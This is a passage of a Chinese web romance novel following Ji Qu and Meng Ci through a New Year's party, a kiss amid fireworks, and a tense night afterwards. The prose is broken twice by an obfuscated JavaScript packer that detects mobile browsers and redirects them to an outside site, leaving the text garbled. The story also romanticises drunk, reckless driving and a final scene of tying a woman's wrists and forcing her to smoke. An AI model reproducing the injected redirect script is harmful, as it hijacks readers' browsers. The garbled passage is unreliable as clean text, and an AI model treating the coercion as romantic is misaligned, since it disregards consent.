季曲拿出手机,这段时间孟慈一次都没联系过自己。 也怪自己,留的什么话,回了北市联系……脑子坏了可能。 打开手机的通讯软件,找到孟慈的头像,点进去,在聊天框打出一个空格,点击发送,不出意外的出现红色感叹号。 哦,还没把自己加回去,看来本来就不想联系。 头又开始痛,季曲舔了下后槽牙,真是倒霉。 孟擎的手术,真的和自己没关系。 那年薄娴的叔叔肾衰竭。 薄家没有这方面的病史,也就把病因都归结为作息混乱抽烟酗酒。 消息传出来的时候圈子里的人大部分都跑去医院做了一次全身体检。 华婉当时在国外旅游,没法回国探望,探病送花的任务自然落到季曲肩上。 当时薄娴的叔叔也就三十出头,但是被病痛折磨得不成样子。 季曲去探病的时候也被惊到眼皮直跳。 因为岁数差的少,薄娴和叔叔的感情更亲近,几乎每天都往医院跑,一直到手术成功结束,才放心地倒下。 长时间的作息混乱加忧思过重。 薄家直接给薄娴加开了一间病房就在她叔叔的旁边,一上去就扎了大袋的营养液。 一下倒了两个年轻人,薄家多少有点焦头烂额,再加上薄娴又是独生女。 季曲作为从小和她一起长大的“铁哥们”,自然肩负起迎来送往的工作。 把薄家的人都安顿好,季曲才抽身去送医疗专家离开,人家的团队下午在其他城市还有手术。 也就是那时,刚好被孟慈看到了。 术前的安排季曲其实并不知晓,至于孟慈说的那些,季曲这两天也私下打听了不少,和孟慈说的大差不差。 这个社会,有一部分事,光用钱就能解决,另一部分,用钱也解决不了,即使你是一亿万富翁,即使你倾家荡产。 偏偏孟慈碰到的是棘手的另一部分。 不过,薄娴的叔叔术后半年也因为排异反应去世了。 薄娴因为这件事还消沉了很久。 直到过了一年才在心理医生的干预下彻底缓过来,现在还要按时复诊。 这也不能算是真正意义上的一报还一报。 毕竟孟慈的爸爸也不可能因此转生。 但是就算当时用了那个匹配度高的肾源孟慈的爸爸也不一定就能活到一百岁。 但是……但是。 多活一天是一天。 越想越头痛,头痛欲裂。 季曲回到室内从冰箱里捞了瓶纯净水灌了半瓶,闭着眼揉了揉太阳穴,没忍住骂了句脏话。 怎么就什么都能让自己碰上。 这种束手无策的感觉太窝囊。 — 到了元旦当天,安娜做东组了活动,孟慈当仁不让地成为安娜的邀请名单的头号嘉宾。 孟慈忙完公司的事已经快九点。 收拾好东西打开安娜发来的定位,是赵一辰家的会所,都不用导航,之前她是熟客。 轻车熟路地找过去,这次安娜特地安顿了经理在门口接孟慈,谁都不想再发生上次的事。 经理毕恭毕敬地帮孟慈推开包厢门,孟慈道谢后走进去。 场子已经热了起来,人群分为三部分,打牌的、唱K的、喝酒的。 安娜坐在喝酒的那群最中央,看起来正高兴。 孟慈没过去,脱了外套递给服务生,径直走到吧台要了杯酒。 酒保拿着摇杯在空中反复动作,最后一步是点燃酒杯,熊熊火焰夹着火星子掉在大理石台面,倒是花样足。 孟慈浅尝一口,感觉因为加班堵塞的五官都被灼通。 “怎么自己?”安翰坐在孟慈身边要了杯伏特加。 “你也来了?”孟慈侧过脸,浅笑打招呼。 安翰平常不怎么出来玩,他工作繁重,“陪家属。” 孟慈往人群中看,赫然发现何冉也在安娜身边坐着,何冉和安翰在一起五六年,是圈子里公开的秘密。 从何冉还是刚入圈的新人开始,到现在拿下第一尊影后奖杯,身边站着的都是安翰。 安翰喝得差不多,拍了拍孟慈的肩膀:“走吧,帮我把我女朋友换出来一会儿。” 孟慈握着酒杯发问:“我有什么好处?” “想要什么好处?” “嗯……给我几张签名照?” 安翰笑得眼角的纹路都深了几分,说当然没问题。 何冉见到安翰身边的孟慈时,先是一愣,而后立马起身换上微笑拥抱。 “早就听说你回来了,过得怎么样?” “还不错。” 何冉和孟慈的关系算得上亲近。 之前也有不少这样的场子,两个人无聊了就会偷偷跑到清净的一角聊天聊八卦。 孟慈甚至还去探过何冉的班,只不过后来孟慈单方面断了和这群人的联络。 酒过三巡,离零点还剩一个小时。 安娜抱着孟慈的胳膊倒在沙发里醒酒,刚玩游戏喝得猛,人晕的甚至坐不住沙发,低个头就要往茶几下栽。 赵一辰及时喊停,说是零点还有节目,现在玩废了可就亏了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437030|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大家这才停止。 安娜靠在孟慈肩膀,半醉半醒:“哎慈慈。” 孟慈侧脸:“嗯?” “你要不要…要不要…吃个回头草?” “为什么?” 孟慈不解,怎么自己的姐妹突然倒戈。 季曲最近没缠着自己难不成是去从她周围的人下手了。 安娜有些喝得舌头打弯,语速也慢。 “你看我哥和我嫂子,一开始我爸也死活不同意,我后妈还要给他介绍季家的小姑娘,现在不也都过去了。” “长辈们啊是拗不过小辈的,而且我哥一直爱的都是我嫂子,前段时间,我嫂子被全网黑,我哥的脸色就没好看过,连我爸都不敢问。” “一哭二闹三上吊,男人用这套也行,也管用。” 孟慈拧眉看向不远处端正温和的安翰,实在想象不出他一哭二闹三上吊的模样。 “你听我说你看哪儿呢?”安娜见孟慈有些跑神,不满地伸手把人的脸掰回来。 孟慈把安娜的手拿开,问:“但是关我和季曲什么事?” “当然关你们的事。”安娜义正严辞,甚至还支棱着身子想坐正身体,好像接下来的话有多重要一样。 “季曲为你做的,比我哥做的多得多得多得多。” “你确定?你喝了多少啊?” 眼看孟慈不信,安娜更急,“真的!我也是前段时间才知道的。” “知道什么?” “他曾经为了你辞职你知道吗?他为你了不要季家了。” 季曲和孟慈最亲密的时候,几乎形影不离。 两个人除了工作时间都粘着彼此,时间一长不免被华婉发现。 华婉致力于给季曲找一个门当户对、八字相合的对象。 偏偏闯入一个孟慈。 之前季曲身边也不是没有女伴,但是没宠到又送房子又送跑车,又开公司又给项目。 出于女人的直觉,华婉决定把一切危险的苗头扼杀在摇篮里。 因此,华婉在一次家庭会议结束后给季曲下了命令。 送出去的一概不计,毕竟季家家大业大不差这些,但是孟慈这个人,不允许季曲再来往。 季曲知道华婉说一不二的性子,也就没和华婉呛着来。 只是说需要一点时间,华婉对季曲的态度还算满意。 顺坡而下,大手一挥给了一个月,不然她就亲自下场赶人。 其实藏一个人对季曲来说不是难事,只不过这种话在孟慈那边不好转述。 “我妈不喜欢你,我们以后背着大家谈怎么样?” “你先出去玩几个月,回来就没事了。” “……” 怎么说都像是烂人嘴里说的话。 季曲没想到短短几个月能对孟慈这么上心,甚至都能开始思考怎么为了孟慈“违背”华婉的意愿。 一直到最后一周。 在牌局上听到安翰为了一个小明星和家里撕破脸,班也不上了,公司也不管了。 当时牌桌上有人说了一句:“又不是要结婚,也不知道他们家干嘛那么折腾安翰。” 对啊,又不是要结婚。 第二天晚上,季曲就回家找到华婉说了自己的心思。 原本华婉以为季曲已经处理好了来汇报结果,却没想到是回来和自己谈条件的。 季曲真心实意地讲孟慈实在称心难得,自己旁边缺这么一个人,让华婉高抬贵手,睁一只眼闭一眼过去得了,结婚对象还听华婉安排。 华婉当时就发了脾气。 说季曲这么多年在外面都学了些什么混账做法,这样做不仅对孟慈不负责,对未来的结婚对象更不负责。 真心可贵。 可惜的是季曲当时还不太明白这点。 只觉得华婉不同意自己的最优解法,便撂下一句要么听我的,要么就这么破罐子破摔,明天就带着孟慈全球飞,保准华婉找不到人。 其实不过是母子间的拌嘴,因为季曲知道华婉硬拗是拗不过自己的,而且华婉更不可能放自己周游世界。 公司那么大的摊子总不能撂下不管。 不知道怎么这事传出去就变成季曲为了自己的小情人拒绝家里的相亲安排,和华婉撂了摊子,事业也不干了,公司也不要了。 安娜知道的,就是最后流传出去的版本。 对她们这种人来说,违抗父母命令,置家族兴亡不顾,就是最大逆不道的事。 “慈慈?慈慈你听我说了吗?” 安娜见孟慈的思绪有些飘远,着急上手摇人胳膊。 “…嗯,听着呢。” “所以我说你要不要考虑一下?” “你怎么突然帮季曲说话?” 安娜被问的一愣,然后讪讪一笑,“没有吧,我这不就是看到我哥和我嫂子,有感而发嘛~” “就是孟慈,你得给人一次机会,是人都会犯错对吧。”赵一辰不知道什么时候也凑了过来,此刻正趴在两人沙发靠背上,笑眯眯地帮腔。 “你们养过狗吗?” “当然啦慈慈,你忘了我家有一只超级聪明的金毛……” “你知道狗会吃屎吗?” “那我可太清楚了,我们家的吃一次我就骂它一次,然后按着它洗嘴……” “所以啊宝贝。”孟慈笑,“狗啊,是改不了吃屎的。” 这话一出,三人不约而同的安静下来,因此,赵一辰手机上传来的通话中止的提示声更加明显。 孟慈和安娜转头看向赵一辰手里捏着的手机界面,备注是两个大字。 【季曲】 23. 第 23 章 季亮鸿前段时间身体转好不少,再加上惦记着自己种的花,便搬回胡同的老院子。 三十一号晚上在酒店吃完饭后亲戚们自然四散,季亮鸿带着一家人回了自己的家。 季澈带着季欢倾去院子里玩雪,剩余的家眷们坐在客厅话家常。 “陪我下把棋?你妈的补汤还得好久。” 季亮鸿看着客厅里的人们,多少有些烦躁,人老了就是喜欢清静。 季亮鸿的书房在客厅旁边,季曲推着轮椅路过众人,把季亮鸿安顿在蒲团上坐稳后又返回客厅拿了两杯茶。 “太晚了吧,爷爷喝了会不会睡不着?” 薄盈姗看着季曲的动作阻拦道:“我们煮点麦茶,再加点红枣,一会儿给你们送进去?” “也好,那就麻烦嫂子了。” 季曲点头,空手而归。 书房里季鸿亮已经拿着自己轮椅扶手上挂着的保温杯吹着热气喝了几口,看到季曲进来刚好放下。 “我还是喜欢喝白水,解渴。”季亮鸿笑笑,问季曲要下象棋还是围棋。 “都可以爷爷,嫂子煮了麦茶,对控制血糖有好处,一会儿送进来。”季曲在季亮鸿对面落座。 季亮鸿看着面前的棋盒苦思,最后还是季曲说时间还多,可以每种都下个几盘才解开锁着的眉头。 书房的地控温度调得刚好,不至于热到人晕头转向无法思考,也没冷到人缩手缩脚心思乱飞。 季亮鸿棋艺不算太高超,季曲下棋时多番思量,自己家玩,开心尽兴就好。 也因此季鸿亮空了不少心思还能和季曲聊天,一会儿问工作,一会儿问身体,不知不觉间手里已经过了三五盘。 刚准备换象棋,季欢倾就端着小托盘晃晃悠悠地从门口走了进来/ 季曲连忙走近去接。 季亮鸿看到小孙女直接笑弯了眼。 把季欢倾抱到腿上,小小的一只身上还有些凉气。 季曲摸了摸小姑娘的脸蛋儿和手,一看就是刚从外面玩儿回来。 “爷爷喝茶。” 季欢倾小脸红扑扑的,发丝上还有未消的雪粒,季曲拿着纸巾一点点清理。 看着细心妥帖的季曲,季鸿亮不免出言询问。 毕竟季曲和沈家那小姑娘的婚事是自己一力牵头的。 虽然没成,但也不免有几分对季曲不住。 季亮鸿吹了一口麦茶:“最近没动静?听你妈说要给你介绍。” 季曲正在给季欢倾重新编散乱的辫子:“嗯,听我妈的吧。” “沈家那小姑娘的事儿……” “我已经安顿人帮忙打点了,您放心。” 季鸿亮和沈棠溪的爷爷是老战友的事季曲心里门清,。 轻时候两人一块打过枪挨过子弹,沈家老爷子的腿脚始终不方便行走也是因为给季鸿亮挡过一枪。 也因此季曲私下悄悄找人帮忙多方照看着沈棠溪一家。 新年一过沈老爷子遗嘱就会面世,沈棠溪一家得到的只多不少。 “那爷爷就谢谢你了,现在我老了,这些事也插不上手了。” “您哪里的话,咱们季家能发展到现在不都是靠您。” 季鸿亮摆手,说都是列祖列宗们积累下的,自己只是接着,没什么奉献付出。 话说到这儿,又不免安顿季曲,季家走到现在不容易,季曲这一辈儿更要时刻注意分寸、谨言慎行,不能砸了季家的招牌,更不能断了季家的香火。 接下来又是老生常谈。 季曲听到耳朵都长茧,仍是面上不显低眉顺眼地听着。 “差不多也该订下啦,爷爷也不知道还能不能看到你媳妇,咱们墙上的全家福也该换换了。”季曲看向书房墙上挂着的照片,还是季凝欢出生那年拍的。 照片里的大家都成双成对,只有季曲和季鸿亮是落单的,也因此一般留给小朋友的位置变成了季曲专属。 他穿着笔挺的西装外套,却极为乖巧地盘腿坐在季鸿亮脚下。 这张不算正经的全家福被季鸿亮单独洗出来挂在书房。 每个人都脱下珠光宝气,脸上笑出几分真心。 补汤炖好了,华婉一间屋子挨着一间屋子叫人,大家排排坐,人手一碗。 季曲端着碗喝了几口,觉得有些腻,便放下碗偷跑出屋子。 坐在亭子里,季曲的手机上全部是朋友的消息,不是叫他打牌就是叫他喝酒。 略过这些,季曲点开朋友圈,上下翻看。 安娜的朋友圈永远是九宫格,多到放不下的有趣生活。 点开放大。 孟慈安静地坐在人群中间,被安娜搂在怀里。 昏暗的灯光照不清人的五官,只能看到出落的傲人的骨相。 长按保存到相册。 季曲的相册里没什么照片。 他平时拍照少,仅有几张全家福,其余全是工作内容。 翻来翻去,食指一划就是五年十年,没什么意思。 又回到聊天软件,季曲点开自己的朋友圈,往下滑,找到了仅自己可见的内容。 那年安翰生日,何冉邀请了一众朋友,还安排了圈内出名的摄影师到场记录。 在室外的场地,大家站在蛋糕前和寿星合影。 何冉还安排了额外赠送的照片,受邀出席的人们都有。 那天季曲喝得有点高,刚谈下了大项目,又和孟慈谈得蜜里调油,正是春风得意,揽着人站在海棠树下拍了一张。 枝间新绿,小蕾藏胭。 孟慈笑着倚在季曲怀里,眉眼弯弯,佳人难得。 双指滑动放大孟慈的脸。 季曲没注意到季欢倾什么时候已经站到自己身边,探个头眨巴着大眼看。 “小苏你在看谁啊?”季欢倾还小,还有些咬不清字。 被季欢倾唤回现实,季曲偏头,毫不吝啬地把手机放在季欢倾面前,任她打量。 季曲的语气间有些炫耀意味:“漂亮吗?” 季欢倾仔仔细细地看了一会儿,才认真道:“好漂酿!” 小孩子没有弯绕心思,说一就是一,说二就是二。 “和刚刚你奶奶给你们看的,哪个漂亮?” 季曲放慢语速,把季欢倾抱到怀里,再用自己的衣服裹紧。 不久前,华婉在客厅拿着手机给众人相看薄盈姗新收的博士生。一副俨然已经是自己儿媳妇的模样。 “嗯……都好看。”季欢倾绷着小脸思考了好一会儿才回答。 “那让这个阿姨当你小婶怎么样?”季曲捏捏季欢倾头上的小辫子。 “我不几道。”季欢倾摇头。 “为什么?”季曲高估了三岁小孩的智商。 季欢倾想了想不知道怎么回答,只觉得小叔今天奇怪,干脆从季曲的怀里跳出来,说奶奶叫她回去,就甩着小辫子晃晃悠悠地跑了。 屋子里人声喧闹,逢年过节常见的节目轮番上演。 季曲看着就头疼,忽略华婉警告的眼神,起身出了院,找到自己的车子开锁上车。 他从前面探了包还没开封的烟,撕开塑封倒一根出来,叼在唇间点燃火。 打开车窗的一道小缝,季曲放松地靠在椅背上休息。 最近一段时间,季曲总在空闲时间思考自己对孟慈的感情,到底是真心的放不下舍不得还是荷尔蒙作祟。 为了验证自己的猜想,季曲还在胡志带着袁晶来古城时把人留在了身边。 每天忙完回到酒店看着与孟慈形似几分的人,季曲不免出神。 袁晶知道这是自己为数不多的机会,人不为己天诛地灭,只要能搭上这艘大船,就是好的。 也不是没谈过恋爱,袁晶自然知道男人想要什么。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454588|167895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但是一连钓了季曲几天,也没等到他主动,因此,袁晶只能上些手段。 胡志和她打好配合,在酒桌上把季曲灌醉,深夜她在胡志的帮忙下扶着人回房。 把季曲放在沙发上躺平,袁晶去打湿毛巾帮季曲擦脸,刚解开两颗衬衫纽扣,季曲便转醒。 对上季曲不算烂醉的眼,袁晶便心下了然,这人刚刚在酒桌上应该装了一手。 沉了沉心思,袁晶继续擦拭的动作。 从脸颊到喉结,从锁骨到胸膛,沿着紧致的肌肉轮廓一路往下,直到遇见冰凉的腰带扣。 抬眼看了看季曲的表情,一贯的平淡漠然。 咬着下唇,袁晶放下毛巾去解季曲的腰带。 啪嗒一声,禁锢松了。 袁晶颤颤巍巍地伸手往里摸,还没等挑开那层包裹的布料,就被人掐着手腕喊了停。 不解地看向季曲,袁晶只换来一句出去吧,这儿不需要她。 不能功亏一篑,袁晶这么想着,逼自己流出两滴泪。 季曲喜欢看自己的眼睛,从第一次见面袁晶就知道。 果然,没盯一会儿季曲就先松口,说回了北市再说吧,他最近忙,没这些心思。 袁晶得了话才装作委屈求全地离开,眼眶在房门关上的那一刻便干涸,她转去前台让给季曲的房间送些醒酒药和蜂蜜水,然后才回了自己的屋子。 回忆到这儿,季曲的烟已经抽完了,又续了一根。 他得出结论,不是单纯的头脑发热。 这又不是暮春时分,动物都还没发情。 那原因只能归结为舍不得放不下。 季曲脑海里浮现孟慈的脸,五官越来越清楚。 借着饭桌上喝的二两高粱酒,季曲拨通了孟慈的电话。 “您拨打的电话正在通话中……” 自己还在黑名单里。 季曲转手又拨给安娜,长久的滴滴声后是“您拨打的电话暂时无人接听”的机械音。 手机在手里转了一圈,又拨给赵一辰,这次终于有人接了。 听着安娜那些添油加醋的传言,就连季曲这个当事人也不免耳畔一红。 当时只不过是摸得准公司的事离不开自己的手,华婉也不能狠心把自己亲儿子逼跑。 即使知道这话百分百不可能打动孟慈,季曲还是燃了丝希望在心间。 万一孟慈出去读了两年书傻了呢,洋墨水也不一定都是精华。 但是,孟慈一贯地精明,她自然不会被这些雕虫小技骗过去。 还没等季曲感到可惜,紧接着就听到孟慈轻飘飘地来了句狗改不了吃屎。 原本听到这句的时候还没反应过来,直到烟灰落到手臂上被烫了下,季曲才后知后觉地气到发笑,说自己是狗? 真是白费这么多心思。 孟慈这个人最大的特点就是嘴硬,名字里的“慈”字大约是父母预见她长大会变成这副软硬不吃的性子而定下的。 但是美好的期望落了空。 从后座出来换到驾驶座,季曲从市中心往郊区开,晚餐间少不得沾了些酒,一路还得避开查验和封禁的路段,用了一个多小时,离零点还差二十分钟,季曲终于推开了包厢的大门。 不少人听到动静看过来,安翰还没来得及和季曲打招呼就看到人已经气冲冲地走到沙发旁一把把孟慈薅了起来。 在看清孟慈的那一刻,季曲因为持续气愤状态而快跳的心率更是飙升,在胸腔里震如鼓擂。 在对视的那几秒里,季曲突然觉得自己又鲜活起来。 仿佛回到十八岁那年背着父母开着改装的赛车飞驰在蜿蜒曲折的山路上,面前是充满挑战的路和充满诱惑的终点。 孟慈抬头看季曲,神色镇定,看不出紧张或者慌乱,她问:“你怎么来了?” 季曲毫不犹豫地低头咬住孟慈的唇:“狗来咬你。” 24. 第 24 章 在周围众人为自己看到的画面处在震惊中合不拢嘴的时候,季曲已经拉着孟慈出了包厢。 穿过昏暗的走廊,踩过柔软的地毯,季曲推开步梯间的门把孟慈按在冰冷的墙上,右手拢着孟慈的后脑勺,乌黑的发从指间溢出。 借着低处的安全指示灯,季曲看清孟慈下唇的牙印。 还没等孟慈反应过来,季曲又低头落下迫切的吻。 酒精把人的感官知觉拉缓放大。 孟慈感受到季曲随着呼吸加重的动作,不满足于唇的纠缠,季曲探入舌尖,吸取孟慈口腔里残存的金汤力。 氧气、力气,通通以嘴为出口被季曲摄尽。 孟慈的双腿发软,全凭季曲放在自己腰间的手掌为支撑。 季曲知道孟慈的所有敏感地带。 再加上他有意挑逗,对立的生理构造决定了孟慈逐渐化冰成水,咬住孟慈的耳垂,用牙重重地磨几下,再沿着优美的脖颈线向下啄吻。 孟慈今天穿着皮质短裙,同材质的长靴到膝盖之上便消失。 露在外面的皮肤,被季曲握住反复磨挲,像是起了火,火舌叫嚣着席卷过每一寸,再留下红印。 “吱——”的一声,空荡的步梯间出现除沉重呼吸之外的动静。 高跟鞋无序地敲在坚硬地面发出混乱声响,与之而来的是听得人脸发红的暧昧对话。 孟慈起初被近在耳畔的声音吓得一缩。 季曲分出一只手去拍孟慈的背,轻轻安抚,又从孟慈的胸前抬起头吻上略微红肿的嘴唇。 刚探入舌尖就被孟慈实打实地咬了个准,季曲吃痛后退,又被狠狠地掐了一把腰侧。 把季曲往后一推,孟慈立马从缝隙里溜走,摸索到门把手开门离开。 还没等走出几步,又被季曲扯住手腕,回头对上季曲,却不想对方用更气愤的眼神看着自己。 一直到被按在副驾驶,孟慈都没想到自己是哪里踩了旁边这位爷的雷区。 不就在背后说了句狗改不了吃屎,但是她也没指名道姓谁是狗。 季曲非要自己对号入座,怪谁? 这么想着,孟慈的底气足了些,刚侧过脸准备出言争个高低,就被季曲甩过来的眼刀封了嘴。 季曲本身就不是什么好脾气的人,甚至算得上睚眦必报。 只不过对孟慈始终没展露这些。 偶尔一见,孟慈也被吓住,乖乖地坐正身体噤了声。 快到零点又是在郊区,季曲的车速逐渐加快,孟慈下意识地双手握紧安全带,脸色开始泛白。 季曲不知道陷入什么情绪,自顾自地在盘山公路上发泄起来。 孟慈被一连几个弯道甩得头昏,再加上本就喝了酒,在不适感逐渐强烈时伸手碰了碰季曲的胳膊。 “季曲,我难受。” “能不能慢点?” 压抑的车内被孟慈撕开一道口子,情绪钻出去,氧气钻进来,孟慈得到解救。 季曲用余光扫到孟慈苍白难看的脸色,终于压下心间的情绪。 车速放慢,而后行致宽敞的大路旁停下。 把孟慈锁在车上,季曲从后备箱取了瓶水从半开的车窗递给孟慈。 然后便站在路边背对着车一次次地点燃火机,发泄似的一根接着一根抽,直到孟慈开口叫他。 孟慈的声音被寒风送到季曲耳畔,她念着他的名字,像妖精冲着无辜路人施咒。 季曲不应,孟慈就反复地念,一连数次,季曲终于投降,回头对上施咒者的眼。 她双手扒在车窗上,一双黑眸要眨不眨地盯着他看,还泛着红肿的唇微启。 季曲真的碰到了吃人的妖精。 下车下得急,季曲没穿外套,只套着单薄的黑色绒衫,头发被风吹得失去造型,通通往后倒。 他靠在护栏上,脚边落了数不清的烟头。 就在季曲想开口时,身后突然亮了一瞬,相伴而来的是巨大的炸裂声。 城市禁烟花,城郊暂逃一劫。 一时间,无数的烟花腾空而起,连季曲的发丝都穿过光亮。 孟慈的脸被染上无尽绚烂的颜色,映在她漆黑的瞳孔。 季曲没回头看,在孟慈的脸上,他能看到一切。 “孟慈,我没对不起你。” “我是没想过和你结婚,但是和你在一起的每时每刻,我都没想过别人。” “你说我放荡不羁我认,你说我顽劣不堪我认,你说我奢靡无度我认,你说我什么我都认。” “你爸的事和我没关系,你我没帮上,薄家也不用我帮。” “但是孟慈,你唯独不能说我对不起你。” 季曲在来找孟慈的路上想了很多。 包括两个人走到现在这一步的所有原因,一点一点梳理,发现所有事物崩盘的开端就是乌龙。 自己和薄娴的关系,完全可以解释,如果孟慈不离开,那么孟擎手术的事一定不会发生。 就照着他对孟慈的上心程度,随着时间流逝,感情只会深不会浅。 季曲赌着和薄娴撕破脸、和嫂子撕破脸、和薄家撕破脸,拼着命也会给孟擎留住那颗肾。 所以,事到如此,不能只怪季曲一个人。 炸裂声大,季曲的声音更大。 孟慈听完全部,她面无表情地指了指车门。 季曲瞬间会意,他咬着牙问:“孟慈,你还是要走?” 孟慈没回答,只是指着车门。 深呼吸逼下心底泛起的怒气,季曲飞快地按下开锁键利落转身。 烟火还在上升,空气里的硝烟味甚至抵不过季曲身体里的躁。 “咔哒”一声,孟慈下了车。 在没有规律的安静间隙,季曲听到孟慈走路的声音。 为了掩盖,他从烟盒里倒出最后一根烟叼在嘴里,用手拢着点火,风却越吹越大。 六位数的打火机没有防风功能。 季曲暗啐一句,右手捏着火机甩,还没等甩个几下,突然被握住。 感受着不属于自己的温度,季曲侧过头,孟慈伸手抽出季曲唇间的烟草收回烟盒。 在季曲陷入呆滞的同时,孟慈伸出双手捧住季曲失去温度的脸踮起脚尖吻上去。 含着同样失去温度的双唇,孟慈微颤的睫毛扫到季曲的脸。 她退开一些,皱眉说,“以后能不能少抽点烟。” 然后又吻上去,失去重心的身体在空中打滑。 季曲下意识地伸手拢住孟慈,然后转位主动,几乎是用撕咬的方式来回应孟慈突如其来的慈悲。 夜亮如白昼,烟火落在两人身上。 妖精啊,不用费心下咒,我自愿上供,我的命你拿去吧。 - 那晚之后,孟慈和季曲默契地忽略从前不提。 像是水生植物,不需要培育发芽的土壤,只要有太阳光照就能维持生命。 反正来日方长。 元旦起来就是春节。 季曲的应酬成倍增加,一周有六天都在酒桌上,剩下的一天留给孟慈。 就连华婉想见季曲都得提前半个月排号。 虽然季曲那晚只把人送回家便被下了逐客令,但是架不住孟慈对自己的态度好了少。 联系方式通通加回来不说,偶尔还能得到几句话儿。 这对季曲来说已经是不小的进步。 今天是安翰的局,熟人多,不用拿出非要喝倒的劲儿,喝好足够。 季曲坐在安翰的左手位,没抢主人的风头。 他和孟慈和好的事儿传了不少话头出去。 但是毕竟还没好透,又怕华婉出手干预,所以逢人问起就模棱两可的应付过去。 一时间大家也不知道这两位到底是什么进 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招手叫服务生要了除味喷雾,想把自己身上的烟酒味盖一盖。 但是晚上这群人就好像烟瘾中毒一样,导致季曲用了大半瓶都没成功。 抬起袖口嗅嗅,季曲干脆脱了外套。 反正一会儿直接上车离开,不会冷到。 拿出手机给孟慈又发了几条消息,等不到回应,又坐着等了一会儿,抬腕看表已经十二点,转场也该离开了,季曲准备到包厢去找人。 刚站起来就看到方萤扶着喝了不少的孟慈从电梯下来。 三步并作两步地走上前把人接过来,季曲冷声问方萤人怎么喝成这样。 “其实今天喝得不算多,但是她今天白天一直忙没吃什么东西,晚上过来之后就直接开始喝,所以才醉了。” 方萤解释着,眼看着季曲的脸越来越难看。 孟慈摆摆手,说自己没事,让方萤赶紧回家,知道今天逃不了酒局,司机一早就备好了,此时刚好送方萤离开。 季曲的司机也在门口等着,看到老板出门急忙下车来迎。 方萤目送季曲的车消失在路口后才转身上了自家的车,想起刚刚季曲越来越冷的神色,不由自主地替孟慈捏了把冷汗。 孟慈在车上一动不动,头靠在车玻璃上,冰凉的温度暂时压制住因被酒点燃的体温。 季曲坐在旁边,闻着孟慈身上比自己还重的烟酒味止不住地烦躁。 车子走走停停,孟慈的头也跟着晃,偶尔还会磕在车窗。 季曲在孟慈的头第三次磕上去的同时,冷着脸把人搂过来放在怀里。 还没靠热,孟慈便皱眉不满,控诉季曲身上的烟味难闻刺鼻,挣扎着要离开。 “到底谁身上的烟味重啊?”季曲更加不满,把人硬生生地按在怀里。 “当然是你啊。”孟慈挣扎了几下无果,便不动了。 季曲低头去闻,孟慈的唇间也有极淡的烟草味,顿时火上心头。 “不让我抽你怎么还抽?” “抽什么?”孟慈下意识地反驳。 从孟慈的手袋里翻出还剩半包的细烟,季曲递在孟慈眼前。 强睁开眼,孟慈平淡道:“怎么了?” 季曲把烟盒扔回包里:“麻烦孟总一视同仁。” 其实不是季曲非要管着孟慈。 但是分开这两年,孟慈确实多了很多不好的坏习惯,总归对她身体不好。 “我又没管着你季总。”孟慈抬手覆在自己的太阳穴上敲了几下,“你也别管我。” 剩余的路程,孟慈又回到老位置,车玻璃依旧冰冷。 季曲按下车窗把萦绕在鼻尖的烟酒味赶出去,扭过头看向窗外,眼不见心不烦。 25. 第 25 章 到家时孟慈已经陷入睡眠,季曲抱着人下车进家。 没送孟慈回她自己那儿,因为季曲一早要赶早班机。 孟慈那套房子偏市中心,机场在城郊。 季曲这套别墅是去年购置的,好就好在离机场近,赶航班方便。 而且,家里人也不知道这套房子的位置。 季曲把孟慈放在沙发上,孟慈刚好醒来。 孟慈撑开眼皮:“到家了?” 季曲随意答了句嗯。 季曲脱了外套扔在沙发背上,又解了冰凉的腕表。 孟慈看看周围,说不是她家。 “我一早的航班,有点来不及。” “关我什么事?” 孟慈不悦,她明天没其他安排,本想回家简单洗漱后懒懒地睡一觉。 这也是今天喝得多了些的原因。 “不关你什么事。”季曲把腕表放在茶几上,发出磕碰声,“要洗澡吗?” “不要。”孟慈想回家,胳膊撑在沙发上努力起身。 季曲居高临下地站在孟慈面前,解开衬衣顶端的纽扣,左右抻抻脖子。 季曲:“能戒烟吗?” 孟慈:“你管我。” 季曲不在意孟慈的回答,自顾自道:“酒也少喝点。” 孟慈皱眉:“你好烦。” 孟慈刚想起身就被季曲按着肩膀坐回沙发。 他的力气很大,孟慈落下后还回弹几下,原本就沉重的脑子晃地更晕。 从孟慈的手包拿出烟盒,季曲抽了支烟递在孟慈嘴边。 “咬住。” “你有病啊……唔……” 话还没说完就被季曲堵住,他俯身压下来,锢住孟慈的两只手腕置于头顶,霸道地掠夺孟慈口腔里残余的空气。 没给人留换气的当口,季曲堵着人亲,几乎要把人抵进沙发,直到孟慈呼吸困难到嗓间发出呜咽,季曲才停。 “咬住。” “季曲你唔……” 窒息感再次来临,孟慈难受到眼角洇出泪花。 在落泪前夕,季曲会意似的拉开距离。 “乖,咬住。”季曲嗓音低沉。 孟慈看着季曲,没半分可商量的模样,只能喘着气微微张嘴,用牙齿咬住。 季曲慢条斯理地点火燃烟:“吸。” 细烟袅袅,挡在两人中间,模糊了对方的表情。 季曲凑近闻闻,不满地一声啧,把烟抽出来,又换上自己平时习惯的。 期间孟慈挣开季曲的手想跑,却被季曲拦腰捉了回来。 从一旁拿起领带一圈圈地系在孟慈双腕,把人制死。 “咬着。”季曲又在孟慈的嘴边举起一支新的。 孟慈不张嘴,紧咬着下唇,直至泛白。 见状,季曲反手自己点燃烟,吸了一口含在嘴里堵着孟慈亲。 